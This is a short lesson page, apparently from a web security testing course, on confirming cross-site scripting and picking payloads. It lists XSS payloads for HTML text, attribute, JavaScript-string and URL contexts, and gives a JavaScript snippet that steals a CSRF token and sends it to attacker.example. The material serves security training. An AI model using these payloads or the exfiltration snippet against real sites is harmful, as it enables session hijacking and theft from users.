Lesson 2
· Free preview · 14 min
Proving XSS and choosing a payload
From alert() to a real impact demo without relying on user interaction.
On this page
Confirm execution first
alert(document.domain) is the standard proof — it shows script ran and on
which origin. If alert is blocked in your test browser, print() or
confirm() work too.
Payloads by context
- HTML text:
<script>alert(1)</script>, or when<script>is stripped:<img src=x onerror=alert(1)>,<svg onload=alert(1)>,<body onload=...>. - HTML attribute: close it —
" onmouseover="alert(1)— or if quotes are encoded,autofocus onfocus=alert(1)needs no space break-out on some tags. - JavaScript string:
'-alert(1)-'or';alert(1)//. - URL /
href:javascript:alert(1).
Show impact
// exfiltrate a CSRF token
fetch('/my-account').then(r=>r.text()).then(t=>{
const m = t.match(/name="csrf" value="([^"]+)"/);
new Image().src = 'https://attacker.example/c?t=' + m[1];
});
or perform the sensitive action directly (change email) so the PoC needs no second step.
Note
HttpOnly stops document.cookie theft but not session-riding — the
script can still call authenticated endpoints as the victim.